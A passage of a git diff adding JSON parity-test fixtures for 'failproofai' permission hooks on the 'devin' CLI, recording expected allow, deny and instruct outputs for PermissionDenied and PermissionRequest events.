2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..973873f8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8e5182fa --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3f656b3d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9ea73091 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c1a7a209 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..68d85f06 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..aeb19bc0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..958aed76 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..eef98fad --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f59ecd13 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..56bbc318 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4b18a1bb --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fb02a399 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bb53caa1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ff288a1a --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a1f6afac --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..40ac3580 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9e2f7ac7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ca6cf77a --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, 